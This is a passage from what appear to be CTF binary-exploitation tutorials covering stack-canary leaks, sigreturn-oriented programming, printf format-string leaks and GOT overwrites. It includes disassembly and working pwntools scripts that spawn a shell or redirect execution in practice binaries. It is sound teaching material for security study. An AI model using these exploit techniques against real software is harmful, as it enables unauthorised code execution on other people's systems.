e8 c4 fd ff ff call 4010d0 <__stack_chk_fail@plt> 18 | ``` 19 | 20 | You can see that at the begginning of the function, some value from `fs:0x28` is 21 | moved onto the stack. Assume that `fs:0x28` is just some random value that we 22 | cannot easily predict, and that it changes every run (If you are curious what it 23 | really is read the end note). At the end of the function, the value from the 24 | stack is compared to the value at `fs:0x28`, and if they are different the code 25 | jumps to `__stack_chk_fail`. The value placed on the stack is called a "stack 26 | canary", and it is used to detect buffer overflows. Normally, code would never 27 | write to that section of the stack (the compiler makes sure not to put any 28 | variables there). The only way the value would ever change then is if there was 29 | a buffer overflow. This is because the canary is between our buffer and the 30 | return address, so we have to overwrite it to overwrite the return address. When 31 | we do overwrite the stack canary it jumps to `__stack_chk_fail`, which prints 32 | out a warning message and exits. Since the program never returns from 33 | `__stack_chk_fail`, our overwritten return address is never used. The easiest 34 | way to get around a stack canary is to leak it. If we can find the value of the 35 | stack canary, we can overwrite the stack canary with itself. That means that 36 | we can pass the canary check at the end of the function and buffer overflow like 37 | normal. 38 | 39 | When we tell the binary the length of our answer, if we give it a length 40 | greater than the length of our answer it will print out values from the stack. 41 | If it goes far enough it will print the canary. Lets run the below script to 42 | print out 128 values on the stack. We can then compare this to the canary value 43 | from gdb to figure out at what offset we can find the canary 44 | 45 | ```python 46 | from pwn import * 47 | context.terminal = ['konsole','-e'] 48 | 49 | p = gdb.debug('build/canary') 50 | p.recvline() 51 | p.recvline() 52 | p.sendline('128') 53 | p.recvline() 54 | p.sendline('dummby') 55 | p.recvline() 56 | canary = p.recvline() 57 | print(hexdump(canary)) 58 | p.interactive() 59 | ``` 60 | 61 | ``` 62 | pwndbg> b vuln 63 | pwndbg> c 64 | pwndbg> canary 65 | AT_RANDOM = 0x7ffe64cbb9e9 # points to (not masked) global canary value 66 | Canary = 0xcc0fea27522fe600 67 | No valid canaries found on the stacks. 68 | pwndbg> c 69 | ``` 70 | 71 | Python output: 72 | ``` 73 | 00000000 64 75 6d 6d 62 79 00 00 65 aa 4a 7b 96 7f 00 00 │dumm│by··│e·J{│····│ 74 | 00000010 00 00 00 00 00 00 00 00 20 a5 5e 7b 96 7f 00 00 │····│····│ ·^{│····│ 75 | 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 76 | 00000030 20 b3 5e 7b 96 7f 00 00 ed 74 4a 7b 96 7f 00 00 │ ·^{│····│·tJ{│····│ 77 | 00000040 20 a5 5e 7b 96 7f 00 00 fc e9 49 7b 96 7f 00 00 │ ·^{│····│··I{│····│ 78 | 00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 79 | 00000060 a0 b5 cb 64 fe 7f 00 00 00 e6 2f 52 27 ea 0f cc │···d│····│··/R│'···│ 80 | 00000070 a0 b5 cb 64 fe 7f 00 00 34 13 40 00 00 00 00 00 │···d│····│4·@·│····│ 81 | 00000080 0a │·│ 82 | 00000081 83 | ``` 84 | 85 | From this we can see that our stack canary can be found at offset 104 (`00 e6 2f 86 | 52 27 ea 0f cc`). Remember that the bytes are backwards in memory from the hex 87 | representation due to the little endian format. Now, we can extract the canary 88 | from bytes [104:104+8]. Then, when we use the second read to buffer overflow and 89 | jump to `get_flag`, we just put the canary at position 104. This means that we 90 | will overwrite the canary with itself, bypassing the check 91 | 92 | ```python 93 | #!/usr/bin/python3 94 | 95 | from pwn import * 96 | 97 | context.binary = 'canary' 98 | 99 | e = ELF('canary') 100 | rop = ROP('canary') 101 | p = process('canary') 102 | 103 | p.recvline() 104 | p.recvline() 105 | p.sendline('128') 106 | p.recvline() 107 | p.sendline("dummy") 108 | p.recvline() 109 | canary = p.recvline() 110 | canary = u64(canary[104:104+8]) 111 | p.recvline() 112 | p.recvline() 113 | 114 | payload = flat({104:canary, 120: e.sym['get_flag']}) 115 | 116 | p.sendline(payload) 117 | p.recvline() 118 | p.interactive() 119 | ``` 120 | -------------------------------------------------------------------------------- /pwn-srop.md: -------------------------------------------------------------------------------- 1 | We will start by inspecting the assembly of our binary. 2 | 3 | Commented output of `objdump -d -M intel srop` 4 | 5 | ``` 6 | 0000000000401000 <_start>: 7 | 401000: e8 08 00 00 00 call 40100d
8 | # Call exit syscall 9 | 401005: b8 3c 00 00 00 mov eax,0x3c 10 | 40100a: 0f 05 syscall 11 | 40100c: c3 ret 12 | 13 | 000000000040100d
: 14 | # Setup a stackframe of size 8 15 | # Allocates a buffer of size 8 16 | 40100d: 55 push rbp 17 | 40100e: 48 89 e5 mov rbp,rsp 18 | 401011: 48 83 ec 08 sub rsp,0x8 19 | # Call _read(buffer) 20 | 401015: 48 8d 7d f8 lea rdi,[rbp-0x8] 21 | 401019: e8 05 00 00 00 call 401023 <_read> 22 | 40101e: 48 89 ec mov rsp,rbp 23 | 401021: 5d pop rbp 24 | 401022: c3 ret 25 | 26 | 0000000000401023 <_read>: 27 | # Call the syscall read(0, buffer, 0x200) 28 | 401023: 55 push rbp 29 | 401024: 48 89 e5 mov rbp,rsp 30 | 401027: 48 83 ec 08 sub rsp,0x8 31 | 40102b: 48 89 fe mov rsi,rdi 32 | 40102e: bf 00 00 00 00 mov edi,0x0 33 | 401033: ba 00 02 00 00 mov edx,0x200 34 | 401038: b8 00 00 00 00 mov eax,0x0 35 | 40103d: 0f 05 syscall 36 | 40103f: 48 89 ec mov rsp,rbp 37 | 401042: 5d pop rbp 38 | 401043: c3 ret 39 | ``` 40 | 41 | This binary is very small and is especially challenging. It just reads a string 42 | from the user, does nothing with it, then exits. There is a buffer overflow when 43 | we call the read syscall since our buffer is only 8 bytes long. However, it's 44 | difficult to do anything with this buffer overflow. 45 | 46 | There is a significant lack of ROP gadgets in this binary and we cannot jump to 47 | libc since libc is not even linked. We can still exploit this problem with a 48 | technique known as sigreturn oriented programming. 49 | 50 | Sigreturn is a syscall used by Linux signal handlers when context switching. 51 | When a program is interrupted, the kernel pushes the entire execution context 52 | onto the stack then jumps to the signal handler. When the signal handler is 53 | finished, it calls sigreturn which restores the execution state from the stack. 54 | 55 | The idea behind sigreturn oriented programming is that if we can call sigreturn 56 | with a forged sigreturn struct at RSP, we can populate every register with user 57 | controlled values. 58 | 59 | With this idea in mind, we first need to figure out how to call the sigreturn 60 | syscall. The syscall number for `sigreturn` is `0xf`. There are `syscall` 61 | gadgets in our binary, so the first challenge is just to set `rax = 0xf`. 62 | Fortunately for us, the `read` syscall sets `rax` to the number of bytes read. 63 | Consider the following ROP chain: 64 | 65 | ``` 66 | [ overflow bytes ] 67 | [ saved rbp ] 68 | [ main ] <== rsp 69 | [ syscall ] 70 | [ sigreturn frame ] 71 | ``` 72 | 73 | This ropchain will call main, we can enter 15 bytes. This will set `rax = 0xf` 74 | then the ropchain will perform a syscall. Notice that by this point `RSP` will 75 | be pointing to the top of our fake sigreturn frame. So this rop chain will 76 | properly call sigreturn and will give us control over all registers. 77 | 78 | The next challenge is to figure out how to actually exploit this program. There 79 | are probably several ways to solve this problem (mprotect, execve, etc). I chose 80 | to use execve for simplicity. To call `execve('/bin/sh')` we need to write 81 | `/bin/sh` to a known address in memory. To do this, I used the sigreturn call to 82 | change `RSP` and `RBP` to static writeable addresses, then called main again. 83 | The sigreturn frame looks something like this: 84 | 85 | ``` 86 | [RIP -> main] 87 | [RBP -> .bss] (.bss is a writeable section located at 0x402000) 88 | [RSP -> .bss] (check readelf -S srop for more info) 89 | ``` 90 | 91 | Now we're just executing main, but we know `RSP` and `RBP`. We can reuse our 92 | original ropchain with the string `/bin/sh` appended. This time our sigreturn 93 | frame will look something like this. We will also append a pointer to the 94 | `/bin/sh` string so properly set the argv value for execve. 95 | 96 | ``` 97 | [RIP -> syscall gadget] 98 | [RBP -> .bss] (.bss is a writeable section located at 0x402000) 99 | [RSP -> .bss] (check readelf -S srop for more info) 100 | [RDI -> /bin/sh string] 101 | [RSI -> pointer to /bin/sh] 102 | [RDX -> NULL] 103 | ``` 104 | 105 | After this ropchain executes, we'll call `execve('/bin/sh', {'/bin/sh', NULL}, NULL)`. 106 | 107 | Here's the code 108 | ```python 109 | from pwn import * 110 | 111 | r = process("./srop") 112 | e = ELF("./srop") 113 | rop = ROP(e) 114 | 115 | context.clear(arch='amd64') 116 | context.terminal = ["tmux", "splitw", "-h"] 117 | 118 | # Middle of the bss segment 119 | # We can't use the beginning because the stack grows downward 120 | # We can't use the end because the string we're writing grows upward 121 | writeable = e.bss() + (0x1000 // 2) 122 | 123 | # Sigreturn frame for stack pivot 124 | frame = SigreturnFrame() 125 | frame.rbp = writeable 126 | frame.rsp = writeable 127 | frame.rip = (e.symbols["main"]) 128 | 129 | # Payload to execute stack pivot 130 | payload = 0x10*b'a' 131 | payload += p64(e.symbols["main"]) 132 | payload += p64(rop.find_gadget(["syscall"])[0]) 133 | payload += bytes(frame) 134 | 135 | # Sleep because I had issues with some sort of race condition 136 | r.sendline(payload) 137 | sleep(1) 138 | 139 | # Sigreturn is syscall 0xf 140 | # -1 due to the newline 141 | syscall = 0xf-1 142 | r.sendline(b'a'*syscall) 143 | sleep(1) 144 | 145 | # Sigreturn frame for calling execve 146 | frame = SigreturnFrame() 147 | frame.rbp = writeable 148 | frame.rsp = writeable 149 | frame.rip = (rop.find_gadget(["syscall"])[0]) 150 | # Execve is syscall number 59 151 | frame.rax = 59 152 | # I just calculated these addresses in gdb 153 | frame.rdi = e.bss() + 0x908 154 | frame.rsi = e.bss() + 0x910 155 | frame.rdx = e.bss() 156 | 157 | # Payload to run execve 158 | payload = 0x10*b'b' 159 | payload += p64(e.symbols["main"]) 160 | payload += p64(rop.find_gadget(["syscall"])[0]) 161 | payload += bytes(frame) + b'/bin/sh\x00' + p64(e.bss() + 0x908) + p64(0) 162 | 163 | r.sendline(payload) 164 | sleep(1) 165 | 166 | syscall = 0xf-1 167 | r.sendline(b'c'*syscall) 168 | 169 | r.interactive() 170 | ``` 171 | -------------------------------------------------------------------------------- /pwn-printf-leak.md: -------------------------------------------------------------------------------- 1 | We will start by inspecting the assembly of our binary. 2 | 3 | Condensed, commented output of `objdump -d -M intel leak` 4 | 5 | ``` 6 | 0000000000401236
: 7 | 401236: f3 0f 1e fa endbr64 8 | 40123a: 55 push rbp 9 | 40123b: 48 89 e5 mov rbp,rsp 10 | 11 | # Our stack frame is 0x10 bytes long 12 | 40123e: 48 83 ec 10 sub rsp,0x10 13 | 401242: bf 00 00 00 00 mov edi,0x0 14 | 15 | # Seeding rand() with system time 16 | 401247: e8 d4 fe ff ff call 401120 17 | 40124c: 89 c7 mov edi,eax 18 | 40124e: e8 ad fe ff ff call 401100 19 | 20 | # Generates a random number and stores it at [rbp-0x4] 21 | 401253: e8 e8 fe ff ff call 401140 22 | 401258: 89 45 fc mov DWORD PTR [rbp-0x4],eax 23 | 24 | # Print prompts 25 | 40125b: 48 8d 3d a6 0d 00 00 lea rdi,[rip+0xda6] # 402008 <_IO_stdin_used+0x8> 26 | 401262: e8 69 fe ff ff call 4010d0 27 | 401267: 48 8d 3d af 0d 00 00 lea rdi,[rip+0xdaf] # 40201d <_IO_stdin_used+0x1d> 28 | 40126e: e8 5d fe ff ff call 4010d0 29 | 30 | # Read out input into the buffer 31 | 401273: 48 8b 05 06 2e 00 00 mov rax,QWORD PTR [rip+0x2e06] # 404080 32 | 40127a: 48 89 c2 mov rdx,rax 33 | 40127d: be 64 00 00 00 mov esi,0x64 34 | 401282: 48 8d 3d 17 2e 00 00 lea rdi,[rip+0x2e17] # 4040a0 35 | 401289: e8 82 fe ff ff call 401110 36 | 37 | # Print more prompt 38 | 40128e: 48 8d 3d 99 0d 00 00 lea rdi,[rip+0xd99] # 40202e <_IO_stdin_used+0x2e> 39 | 401295: e8 36 fe ff ff call 4010d0 40 | 41 | # Calls printf(buffer) 42 | 40129a: 48 8d 3d ff 2d 00 00 lea rdi,[rip+0x2dff] # 4040a0 43 | 4012a1: b8 00 00 00 00 mov eax,0x0 44 | 4012a6: e8 45 fe ff ff call 4010f0 45 | 46 | # Prints a newline 47 | 4012ab: bf 0a 00 00 00 mov edi,0xa 48 | 4012b0: e8 0b fe ff ff call 4010c0 49 | 50 | # Compare the number we typed into buffer to the random number 51 | 4012b5: 48 8d 3d e4 2d 00 00 lea rdi,[rip+0x2de4] # 4040a0 52 | 4012bc: e8 6f fe ff ff call 401130 53 | 4012c1: 39 45 fc cmp DWORD PTR [rbp-0x4],eax 54 | 4012c4: 75 18 jne 4012de 55 | 56 | # If they're equal give a shell 57 | 4012c6: 48 8d 3d 6f 0d 00 00 lea rdi,[rip+0xd6f] # 40203c <_IO_stdin_used+0x3c> 58 | 4012cd: e8 fe fd ff ff call 4010d0 59 | 4012d2: 48 8d 3d 75 0d 00 00 lea rdi,[rip+0xd75] # 40204e <_IO_stdin_used+0x4e> 60 | 4012d9: e8 02 fe ff ff call 4010e0 61 | 62 | # If they're not equal keep going 63 | 4012de: 48 8d 3d 71 0d 00 00 lea rdi,[rip+0xd71] # 402056 <_IO_stdin_used+0x56> 64 | 4012e5: e8 e6 fd ff ff call 4010d0 65 | 66 | # Read to buffer again 67 | 4012ea: 48 8b 05 8f 2d 00 00 mov rax,QWORD PTR [rip+0x2d8f] # 404080 68 | 4012f1: 48 89 c2 mov rdx,rax 69 | 4012f4: be 64 00 00 00 mov esi,0x64 70 | 4012f9: 48 8d 3d a0 2d 00 00 lea rdi,[rip+0x2da0] # 4040a0 71 | 401300: e8 0b fe ff ff call 401110 72 | 73 | # Check if they're equal again 74 | 401305: 48 8d 3d 94 2d 00 00 lea rdi,[rip+0x2d94] # 4040a0 75 | 40130c: e8 1f fe ff ff call 401130 76 | 401311: 39 45 fc cmp DWORD PTR [rbp-0x4],eax 77 | 401314: 75 18 jne 40132e 78 | 79 | # If they're equal give a shell 80 | 401316: 48 8d 3d 1f 0d 00 00 lea rdi,[rip+0xd1f] # 40203c <_IO_stdin_used+0x3c> 81 | 40131d: e8 ae fd ff ff call 4010d0 82 | 401322: 48 8d 3d 25 0d 00 00 lea rdi,[rip+0xd25] # 40204e <_IO_stdin_used+0x4e> 83 | 401329: e8 b2 fd ff ff call 4010e0 84 | 85 | # If they're not equal keep going 86 | 40132e: 48 8d 3d 43 0d 00 00 lea rdi,[rip+0xd43] # 402078 <_IO_stdin_used+0x78> 87 | 401335: e8 96 fd ff ff call 4010d0 88 | 40133a: b8 00 00 00 00 mov eax,0x0 89 | 40133f: c9 leave 90 | 401340: c3 ret 91 | 401341: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0] 92 | 401348: 00 00 00 93 | 40134b: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0] 94 | 95 | ``` 96 | 97 | We can see that the basic flow of our program is to generate a random number and 98 | ask the user to guess it. The critical bug is caused `printf(buffer)`. If the 99 | user inputs a format string such as "%d", this line will attempt to print some 100 | number. 101 | 102 | If we recall x86-64 calling convention, we know that the first 6 arguments will 103 | be passed through rdi, rsi, rdx, rcx, r8 and r9 respectively. Any additional 104 | arguments are pushed onto the stack in reverse order. Printf just assumes that 105 | we've correctly passed enough arguments. If we pass less arguments than the 106 | format specifies, we'll begin printing registers and stack values. 107 | 108 | So a call to `printf("%d")` is going to print the value of esi (bottom 32 bits 109 | of rsi). The key insight from the calling convention is to notice that printing 110 | more than 5 values is going to leak stack values. 111 | 112 | If we were to call `printf("%p %p %p %p %p %p %p")`, we will print the following 113 | values `rsi rdx rcx r8 r9 [rsp] [rsp+8]`. It may also be worth noting that 114 | printf considers every value passed to be 8 bytes long. So even if we print an 115 | int with `%d`, printf still expects 8 bytes, not 4 bytes. 116 | 117 | In this program the stack frame of main looks like: 118 | 119 | ``` 120 | Note: Zeroes are unreferenced memory, their value may be non-zero at runtime. 121 | 122 | rsp (rbp-0x10): 00000000 00000000 123 | rbp-0x8 00000000 rrrrrrrr <=== This is the random number 124 | rbp: [saved rbp] [saved rip] 125 | ``` 126 | 127 | So we will be interested in the 7th value to be printed. We can use the format 128 | `%7$p` to only print the 7th value as a 64-bit hex integer. Notice that due to 129 | endianness we will actually print `0xrrrrrrrr00000000`. If we right shift this 130 | number by 32 and convert to an int we will have the random value. 131 | -------------------------------------------------------------------------------- /pwn-get-my-got.md: -------------------------------------------------------------------------------- 1 | # Get My Got 2 | This challenge is based around the plt, got, and dynamic linker. Before we start 3 | analying the binary, we will first explain these terms. 4 | 5 | In the problem binary, we call `puts` to print text. This is a function defined 6 | by libc, the C standard library. When we write programs, we don't want to 7 | include the entirety of libc in our binary, as it's pretty big and will waste 8 | disk space. We fix this by doing something called dynamic linking. Our system 9 | has a single copy of libc at some predetermined location, and all programs share 10 | it. We can use `ldd -v getmygot` to see what the binary is linked against. 11 | 12 | ``` 13 | linux-vdso.so.1 (0x00007ffcb994c000) 14 | libc.so.6 => /usr/lib/libc.so.6 (0x00007f2de59b5000) 15 | /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f2de5bbc000) 16 | 17 | Version information: 18 | ./getmygot: 19 | libc.so.6 (GLIBC_2.7) => /usr/lib/libc.so.6 20 | libc.so.6 (GLIBC_2.4) => /usr/lib/libc.so.6 21 | libc.so.6 (GLIBC_2.2.5) => /usr/lib/libc.so.6 22 | /usr/lib/libc.so.6: 23 | ld-linux-x86-64.so.2 (GLIBC_2.2.5) => /usr/lib64/ld-linux-x86-64.so.2 24 | ld-linux-x86-64.so.2 (GLIBC_2.3) => /usr/lib64/ld-linux-x86-64.so.2 25 | ld-linux-x86-64.so.2 (GLIBC_PRIVATE) => /usr/lib64/ld-linux-x86-64.so.2 26 | ``` 27 | 28 | We can see that the binary expects libc to be located at `/usr/lib/libc.so.6`. 29 | That single copy of libc is shared by all the dynamically linked programs on our system. 30 | 31 | libc on almost all systems is compiled as a position independent executable, or 32 | PIE. This means the binary can be loaded in at any memory location. For security 33 | reasons, the address it is loaded into memory at is somewhat randomized. This 34 | stops an attacker from being able to jump to libc functions (since you don't 35 | know where they are). However, the program must know where the functions are to 36 | call them normally. This is the job of the got and plt. When a program wants to 37 | call a libc function (i.e. `puts`), it goes through the following steps. 38 | 39 | 1. Jump to the corresponding plt entry for the function (`puts@plt`) 40 | 2. Jump to the value in the got 41 | 3. If this is the first time the function has been called, the value is in the 42 | got is the address of the dynamic linker. This finds the functions address, 43 | and writes it to the got. Once it is done it then jumps to the function 44 | 4. Otherwise, the value in the got is the address of the function 45 | 46 | 47 | Generally, the got acts as a simple array of function addresses, and the plt is 48 | the code that manages it. We will walk through the two cases for `puts` using 49 | the binary using gdb/pwndbg. 50 | 51 | First, we will get to the first instance of puts being called. Anything that 52 | starts with `pwndbg>` is a command, everything else is command ouput (output may be 53 | cutoff for brevity) 54 | 55 | 56 | ``` 57 | pwndbg> b main 58 | pwndbg> r 59 | pwndbg> n 5 60 | > 0x401215 call puts@plt 61 | ``` 62 | 63 | We can see that the program calls `puts@plt` instead of `puts` directly. This is 64 | normal, and occurs whenever the program has to call a function that isn't at a 65 | static address. We will now look at the contents of `puts@plt` 66 | 67 | ``` 68 | pwndbg> si 69 | > 0x401070 endbr64 70 | 0x401074 bnd jmp qword ptr [rip + 0x2f9d] <0x401030> 71 | ``` 72 | 73 | Here we are jumping to the value at `rip+0x2f9d`, or the value at `0x404018`. 74 | This is the address of the got entry for `puts`. We can verify this by running 75 | the below command 76 | 77 | ``` 78 | pwndbg> got 79 | 80 | GOT protection: Partial RELRO | GOT functions: 4 81 | 82 | [0x404018] puts@GLIBC_2.2.5 -> 0x401030 <— endbr64 83 | [0x404020] __stack_chk_fail@GLIBC_2.4 -> 0x401040 <— endbr64 84 | [0x404028] execve@GLIBC_2.2.5 -> 0x401050 <— endbr64 85 | [0x404030] __isoc99_scanf@GLIBC_2.7 -> 0x401060 <— endbr64 86 | ``` 87 | 88 | Here we can see that the got entry for `puts` is located at `0x404018` and has 89 | the value of `0x401030`, which is an address located at the beginning of the 90 | plt. Lets go back to the dissassembly. 91 | 92 | ``` 93 | > 0x401070 endbr64 94 | 0x401074 bnd jmp qword ptr [rip + 0x2f9d] <0x401030> 95 | ↓ 96 | 0x401030 endbr64 97 | 0x401034 push 0 98 | 0x401039 bnd jmp 0x401020 <0x401020> 99 | ↓ 100 | 0x401020 push qword ptr [rip + 0x2fe2] <0x404008> 101 | 0x401026 bnd jmp qword ptr [rip + 0x2fe3] <_dl_runtime_resolve_xsavec> 102 | ↓ 103 | 0x7ffff7fe7d30 <_dl_runtime...ec> endbr64 104 | 0x7ffff7fe7d34 <_dl_runtime...ec+4> push rbx 105 | 0x7ffff7fe7d35 <_dl_runtime...ec+5> mov rbx, rsp 106 | 0x7ffff7fe7d38 <_dl_runtime...ec+8> and rsp, 0xffffffffffffffc0 107 | ``` 108 | 109 | The code jumps to the beginning of the plt, where it pushes the index of the 110 | function in the got (0), and the address of the start of the got (`0x404008`), 111 | then jumps to the dynamic linker. The dynamic linker then looks up the 112 | address of `puts`, and writes it to the got. We will not be explaining how that 113 | works, as you don't need to know about it to exploit the got. 114 | 115 | ``` 116 | pwndbg> finish 117 | > 0x40121a lea rdi, [rip + 0xdff] <0x7ffff7f884f0> 118 | 0x401221 call puts@plt 119 | ``` 120 | 121 | Now we are back in the main function like we just called the function normally. 122 | However, now that the correct address has been written to the got, any 123 | subsequent calls to `puts` will work differently. 124 | 125 | ``` 126 | pwndbg> n 127 | pwndbg> si 128 | > 0x401070 endbr64 129 | 0x401074 bnd jmp qword ptr [rip + 0x2f9d] 130 | pwndbg> n 2 131 | > 0x7ffff7e3a380 endbr64 132 | 133 | pwndbg> got 134 | 135 | GOT protection: Partial RELRO | GOT functions: 4 136 | 137 | [0x404018] puts@GLIBC_2.2.5 -> 0x7ffff7e3a380 (puts) <— endbr64 138 | [0x404020] __stack_chk_fail@GLIBC_2.4 -> 0x401040 <— endbr64 139 | [0x404028] execve@GLIBC_2.2.5 -> 0x401050 <— endbr64 140 | [0x404030] __isoc99_scanf@GLIBC_2.7 -> 0x401060 <— endbr64 141 | ``` 142 | 143 | As you can see, now the plt just reads the address of `puts` from the got, and 144 | jumps directly to it. This gets us to the actual `puts` function with just 1 more 145 | jump than normal. 146 | 147 | Now that we understand the got, exploiting it is actually very simple. The 148 | binary inputs two numbers, and writes the second number to the address specified 149 | by the first. If we send the address of `puts@got` (`0x404018`) as the first 150 | value, and the address of `get_flag` (`0x401196`) as the second, we will get a 151 | shell. This is because the last call to `puts` will look up the value of `puts` in 152 | the got, but will get the address of `get_flag` instead. That means it will jump 153 | to `get_flag` instead of `puts`, giving us a shell. Here is an example solution. 154 | 155 | ```python 156 | from pwn import * 157 | 158 | p = process('getmygot') 159 | e = ELF('getmygot') 160 | p.recvline() 161 | p.sendline(str(e.got['puts'])) 162 | p.sendline(str(e.sym['get_flag'])) 163 | p.interactive() 164 | ``` 165 | 166 | Pwntools information: You should already know how to use `process`, `ELF`, `sym` 167 | from previous tutorials. The `ELF` also has `got` and `plt` dictionaries, that 168 | return the address of the `got` and `plt` entries for a specific function. 169 | 170 | End Note: In this writeup I referred to the got. However, more specifically the 171 | got is seperated into two sections: `.got` and `.got.plt`. Generally the `.got` 172 | section is for global variables, while the `.got.plt` section is used for 173 | functions. However, this distinction is not particularly important. Similiarly, 174 | the plt is seperated into `.plt` and `.plt.sec`. This is due to a different 175 | security feature called Intel MPX, and can be ignored. (This is also where all 176 | the `bnd jmp` instructions come from.) 177 | 178 | # Further Reading 179 | 180 | [GOT/PLT: https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html](https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html) 181 | 182 | [Intel MPX: https://en.wikipedia.org/wiki/Intel_MPX](https://en.wikipedia.org/wiki/Intel_MPX) 183 | -------------------------------------------------------------------------------- /pwn-printf-got.md: -------------------------------------------------------------------------------- 1 | We will start by inspecting the assembly of our binary. 2 | 3 | Condensed, commented output of `objdump -d -M intel printf` 4 | 5 | ``` 6 | 00000000004011b6
: 7 | 4011b6: f3 0f 1e fa endbr64 8 | 4011ba: 55 push rbp 9 | 4011bb: 48 89 e5 mov rbp,rsp 10 | # Our stackframe is size 0x100 11 | 4011be: 48 81 ec 00 01 00 00 sub rsp,0x100 12 | # Prints prompt 13 | 4011c5: 48 8d 3d 38 0e 00 00 lea rdi,[rip+0xe38] # 402004 <_IO_stdin_used+0x4> 14 | 4011cc: e8 bf fe ff ff call 401090 15 | # Read our name into a buffer at [rbp-0x100] 16 | 4011d1: 48 8b 15 78 2e 00 00 mov rdx,QWORD PTR [rip+0x2e78] # 404050 17 | 4011d8: 48 8d 85 00 ff ff ff lea rax,[rbp-0x100] 18 | 4011df: be 00 01 00 00 mov esi,0x100 19 | 4011e4: 48 89 c7 mov rdi,rax 20 | 4011e7: e8 c4 fe ff ff call 4010b0 21 | 4011ec: 48 8d 3d 23 0e 00 00 lea rdi,[rip+0xe23] # 402016 <_IO_stdin_used+0x16> 22 | 4011f3: e8 98 fe ff ff call 401090 23 | # Call printf(buffer) 24 | 4011f8: 48 8d 85 00 ff ff ff lea rax,[rbp-0x100] 25 | 4011ff: 48 89 c7 mov rdi,rax 26 | 401202: b8 00 00 00 00 mov eax,0x0 27 | 401207: e8 94 fe ff ff call 4010a0 28 | 40120c: bf 0a 00 00 00 mov edi,0xa 29 | # Print a newline 30 | 401211: e8 6a fe ff ff call 401080 31 | 401216: bf 00 00 00 00 mov edi,0x0 32 | # Calls exit 33 | 40121b: e8 a0 fe ff ff call 4010c0 34 | ``` 35 | 36 | From the assembly we can see that the general flow of the problem is to ask for 37 | input then just call `printf(buffer)`. This is a seemingly innocuous bug, but it 38 | can actually lead to instruction pointer control. There is a specific printf 39 | format `%n` that _writes_ to memory. 40 | 41 | The expected usage of `%n` is to recover the length of the string printed by 42 | printf. It writes the number of characters printed so far to a pointer. 43 | 44 | Consider the following code. 45 | 46 | ```c 47 | int x; 48 | printf("abc%n\n", &x); 49 | printf("%d\n", x); 50 | 51 | // Prints: 52 | // abc 53 | // 3 54 | ``` 55 | 56 | If we can somehow control the ith argument to printf we can write to an 57 | arbitrary location in memory. Inspecting the stackframe layout may give us this 58 | control. The stack frame for main will look like: 59 | 60 | ``` 61 | Note: Zeroes are unreferenced memory, their value may be non-zero at runtime. 62 | 63 | rsp (rbp-0x100): 00000000 00000000 64 | rbp-0xf8 00000000 00000000 65 | rbp-0xf0 00000000 00000000 66 | rbp-0xe8 00000000 00000000 67 | rbp-0xe0 00000000 00000000 68 | rbp-0xd8 00000000 00000000 69 | rbp-0xd0 00000000 00000000 70 | rbp-0xc8 00000000 00000000 71 | rbp-0xc0 00000000 00000000 72 | rbp-0xb8 00000000 00000000 73 | rbp-0xb0 00000000 00000000 74 | rbp-0xa8 00000000 00000000 75 | rbp-0xa0 00000000 00000000 76 | rbp-0x98 00000000 00000000 77 | rbp-0x90 00000000 00000000 78 | rbp-0x88 00000000 00000000 79 | rbp-0x80 00000000 00000000 80 | rbp-0x78 00000000 00000000 81 | rbp-0x70 00000000 00000000 82 | rbp-0x68 00000000 00000000 83 | rbp-0x60 00000000 00000000 84 | rbp-0x58 00000000 00000000 85 | rbp-0x50 00000000 00000000 86 | rbp-0x48 00000000 00000000 87 | rbp-0x40 00000000 00000000 88 | rbp-0x38 00000000 00000000 89 | rbp-0x30 00000000 00000000 90 | rbp-0x28 00000000 00000000 91 | rbp-0x20 00000000 00000000 92 | rbp-0x18 00000000 00000000 93 | rbp-0x10 00000000 00000000 94 | rbp-0x8 00000000 00000000 95 | rbp: [saved rbp] [saved rip] 96 | ``` 97 | 98 | Recall that the 7th argument to printf will be `rsp`. Notice that the buffer we 99 | control is in the same region that our arguments will come from. If we were to 100 | write `aaaaaaaa%6$n` into our buffer, we'd overwrite the memory address 101 | `0x6161616161616161` with `0`. The example stackframe would look like: 102 | 103 | ``` 104 | Note: Zeroes are unreferenced memory, their value may be non-zero at runtime. 105 | 106 | rsp (rbp-0x100): 61616161 61616161 107 | rbp-0xf8 6e243625 00000010 108 | rbp-0xf0 00000000 00000000 109 | rbp-0xe8 00000000 00000000 110 | rbp-0xe0 00000000 00000000 111 | rbp-0xd8 00000000 00000000 112 | rbp-0xd0 00000000 00000000 113 | rbp-0xc8 00000000 00000000 114 | rbp-0xc0 00000000 00000000 115 | rbp-0xb8 00000000 00000000 116 | rbp-0xb0 00000000 00000000 117 | rbp-0xa8 00000000 00000000 118 | rbp-0xa0 00000000 00000000 119 | rbp-0x98 00000000 00000000 120 | rbp-0x90 00000000 00000000 121 | rbp-0x88 00000000 00000000 122 | rbp-0x80 00000000 00000000 123 | rbp-0x78 00000000 00000000 124 | rbp-0x70 00000000 00000000 125 | rbp-0x68 00000000 00000000 126 | rbp-0x60 00000000 00000000 127 | rbp-0x58 00000000 00000000 128 | rbp-0x50 00000000 00000000 129 | rbp-0x48 00000000 00000000 130 | rbp-0x40 00000000 00000000 131 | rbp-0x38 00000000 00000000 132 | rbp-0x30 00000000 00000000 133 | rbp-0x28 00000000 00000000 134 | rbp-0x20 00000000 00000000 135 | rbp-0x18 00000000 00000000 136 | rbp-0x10 00000000 00000000 137 | rbp-0x8 00000000 00000000 138 | rbp: [saved rbp] [saved rip] 139 | ``` 140 | 141 | We can extend this further to write any value into that memory address by adding 142 | an additional format with a length specifier. The format `%100x` will print an 143 | int padded to 100 characters. The format `aaaaaaaa%100d%6$n` will write the 144 | value `100` into memory address `0x61616161616161`. 145 | 146 | We almost have an arbitrary write, the only issue is that memory addresses that 147 | contain `00` bytes will terminate our string. The string 148 | `aaaa\x00\x00\x00\x00%100d%6$n` will only print `aaaa` and will not overwrite 149 | the memory at address `0x0000000061616161`. The fix for this is to put our 150 | memory address at the end of the printf format. Unfortunately this usually means 151 | a lot of tedious calculations. Luckily there are libraries developed exactly for 152 | 